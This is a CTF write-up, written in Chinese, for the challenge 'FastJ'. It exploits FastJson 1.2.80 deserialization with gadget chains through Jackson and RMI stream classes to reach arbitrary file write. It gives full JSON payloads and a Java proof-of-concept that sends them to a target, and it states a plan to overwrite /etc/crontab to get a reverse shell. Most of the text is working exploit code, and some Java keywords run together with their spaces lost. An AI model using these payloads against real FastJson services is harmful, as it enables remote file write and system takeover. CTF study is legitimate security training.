2025第三届京麒CTF挑战赛 writeup by Mini-Venom

FastJ

本题WP由团队师傅提供。

FastJson1.2.80最新利用

https://github.com/luelueking/CVE-2022-25845-In-Spring

通过Exception期望类可以缓存一些新类，上面能缓存InputStream。

问题任意文件读写需要common-io，需要找到openjdk11下的任意文件读写。

注意到题目采用JDK11，JDK11自带符号信息，可以调用任意构造函数。那么很可能还是利用OutputStream下的子类实现任意文件写。

根据缓存InputStream的利用，找到缓存OutputStream的gadget。

UTF8JsonGenerator
JsonGenerator
JsonGenerationException
Exception

payload：

{"a":"{\"@type\":\"java.lang.Exception\",\"@type\":\"com.fasterxml.jackson.core.JsonGenerationException\",\"g\":{}}","b":{"$ref":"$.a.a"},"c":"{\"@type\":\"com.fasterxml.jackson.core.JsonGenerator\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8JsonGenerator\",\"out\":{}}","d":{"$ref":"$.c.c"}}

1.2.80禁用了FileOutputStream，但题目实现了FilterFileOutputStream，结合rmb的利用可实现任意文件写。

{"@type":"java.io.OutputStream","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"com.app.FilterFileOutputStream","name":"/tmp/1234","prefix":"/"},"infl":{"input":{"array":"eJzT0jdU0IJC/aTMPP2kxOIMBd1kBXUII1k1BPyW1TL8kuUDfQs/QxEzPyMAUiI30LSwsLRUM7NQM1QFanhCv","limit":${length}}},"bufLen":"100"},"protocolVersion":1}

array是一个压缩流，生成array方式如下：

String input = "123123123123";
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream)) {
    deflaterOutputStream.write(input.getBytes("UTF-8"));
}
String encoded = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
int leng = byteArrayOutputStream.toByteArray().length;
System.out.println(encoded);

limit设置为解压缩后byte的length。

这步需要些脑洞。测试时发现远程可以在/root目录下写文件，判断权限为root。因此任意文件写到/etc/crontab，定时任务反弹shell即可。

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.util.LinkedMultiValueMap;
import org.springframework.web.client.RestClientException;
import org.springframework.web.client.RestTemplate;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;

publicclassPOC{
static String target = "http://localhost:8080/";

publicstatic Object sendJson(String payload){
try {
            RestTemplate restTemplate = new RestTemplate();

            HttpHeaders httpHeaders = new HttpHeaders();
            httpHeaders.setContentType(MediaType.APPLICATION_FORM_URLENCODED);

            LinkedMultiValueMap<Object, Object> map = new LinkedMultiValueMap<>();
            map.add("json", payload);

            HttpEntity<LinkedMultiValueMap<Object, Object>> request = new HttpEntity<>(map, httpHeaders);

return restTemplate.postForObject(target, request, String.class);
        } catch (RestClientException e) {
return"null";
        }
    }

publicstaticvoidmain(String[] args)throws IOException, CannotCompileException, NotFoundException, InterruptedException {
// 1. add inputStream to fastjson cache
        String payload1 = new String(Files.readAllBytes(Paths.get("payloads/step1.json")));
        sendJson(payload1);
        System.out.println(payload1);

        String path = "E://squirt1e.txt";

        String input = "nese123";
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream)) {
            deflaterOutputStream.write(input.getBytes("UTF-8"));
        }

        String encoded = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
int leng = byteArrayOutputStream.toByteArray().length;

        String payload2 = new String(Files.readAllBytes(Paths.get("payloads/step3-.json")));
        payload2 = payload2.replace("{ABC}", encoded).replace("\"{ABCD}\"",String.valueOf(leng)).replace("{path}",path);
        sendJson(payload2);
        System.out.println(payload2);


    }

step1.json

{
"a": "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\",    \"g\": {    }  }",
"b": {
"$ref": "$.a.a"
  },
"c": "{  \"@type\": \"com.fasterxml.jackson.core.JsonGenerator\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8JsonGenerator\",  \"out\": {}}",
"d": {
"$ref": "$.c.c"
  }
}

step3-.json

{
"@type": "java.io.OutputStream",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "com.app.FilterFileOutputStream",
"name": "{path}",
"prefix": "/"
    },
"infl": {
"input": {
"array": "{ABC}",
"limit": "{ABCD}"
      }
    },
"bufLen": "100"
  },
"protocolVersion": 1
}